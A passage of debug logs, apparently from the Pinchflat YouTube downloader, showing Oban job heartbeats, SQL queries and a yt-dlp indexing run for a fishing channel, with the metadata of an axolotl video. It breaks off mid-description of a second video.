{"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.995 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:21.960 [info] {"source":"oban","duration":2028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:51.963 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.996 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:21.966 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:51.969 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.997 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:21.973 [info] {"source":"oban","duration":3134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 08:05:51.976 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.999 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:21.977 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:51.979 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.999 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:21.982 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:51.985 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.001 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:21.988 [info] {"source":"oban","duration":1986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:51.991 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.002 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:21.994 [info] {"source":"oban","duration":1966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:51.997 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.003 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:21.999 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:52.001 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.004 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:22.004 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:52.007 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.005 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:22.009 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:52.012 [info] {"source":"oban","duration":2142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.007 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:22.015 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:52.018 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.008 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:22.021 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:52.024 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.010 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:22.027 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:52.030 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.011 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:22.034 [info] {"source":"oban","duration":2393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 08:16:52.036 [info] {"source":"oban","duration":2158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.011 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:22.039 [info] {"source":"oban","duration":2144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:52.042 [info] {"source":"oban","duration":2111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.012 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:22.045 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:52.048 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.013 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:22.051 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:52.054 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.014 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:22.056 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:52.059 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.016 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:22.062 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:52.065 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.017 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:22.068 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:52.071 [info] {"source":"oban","duration":1918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.018 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:22.072 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:52.074 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.019 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:22.075 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:52.078 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.021 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:22.081 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:52.083 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.022 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:22.086 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:52.088 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.023 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:22.090 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:52.093 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.024 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:22.095 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:52.097 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:59.222 [info] {"args":{"id":33},"id":7241,"meta":{},"system_time":1780403339221770348,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:28:59.223 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1435.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:28:59.224 [debug] QUERY OK source="settings" db=0.8ms idle=1437.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:59.228 [debug] QUERY OK source="media_items" db=3.3ms idle=1015.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 08:28:59.229 [debug] QUERY OK source="media_items" db=0.3ms idle=14.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 08:28:59.229 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:28:59.229 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:59.230 [debug] QUERY OK source="settings" db=0.1ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:59.231 [debug] QUERY OK source="media_items" db=1.0ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [33] 08:28:59.232 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 08:28:59.232 [debug] Current batch of media processed. Will check again in 1000ms 08:28:59.233 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:59.233 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:59.233 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:59.233 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BassFishingProductions --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Bass fishing Productions/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/e5/9e/e59e07f8e03d87c784e21d41c08e28b7ac398b7c1a5ff2446004d010a270a0fd.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ce/a8/cea80aca7621f2c5b8b918c8b5f1d105c8d6bb45a9f450e7c486e01a89adb88a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 08:29:00.025 [info] {"source":"oban","duration":124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:00.233 [debug] Current batch of media processed. Will check again in 1000ms 08:29:01.234 [debug] Current batch of media processed. Will check again in 1000ms 08:29:02.235 [debug] Current batch of media processed. Will check again in 1000ms 08:29:03.236 [debug] Current batch of media processed. Will check again in 1000ms 08:29:04.238 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1986, "filename" => "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", "id" => "5kj__m_07rI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5kj__m_07rI", "playlist_index" => 1, "timestamp" => 1777809608, "title" => "I Found an Abandoned Axolotl Pet Store...", "upload_date" => "20260503"} 08:29:04.239 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1450.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:04.241 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1452.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:04.242 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1018.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-03 12:00:08Z], 33] 08:29:04.244 [debug] QUERY OK source="media_items" db=1.1ms idle=455.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "67543572-7683-4d90-9616-65a4f20d0985", "5kj__m_07rI", false, "https://www.youtube.com/watch?v=5kj__m_07rI", 33, [], 1986, false, 1, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, false, 98, ~U[2026-05-03 12:00:08Z], ~U[2026-06-02 12:29:04Z], ~U[2026-06-02 12:29:04Z], "In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "5kj__m_07rI", "https://www.youtube.com/watch?v=5kj__m_07rI", 33, 1986, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, ~U[2026-05-03 12:00:08Z]] 08:29:04.244 [debug] QUERY OK source="sources" db=0.2ms idle=19.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:04.245 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:04.245 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133731] 08:29:04.245 [debug] Current batch of media processed. Will check again in 1000ms 08:29:05.246 [debug] Current batch of media processed. Will check again in 1000ms 08:29:06.248 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the 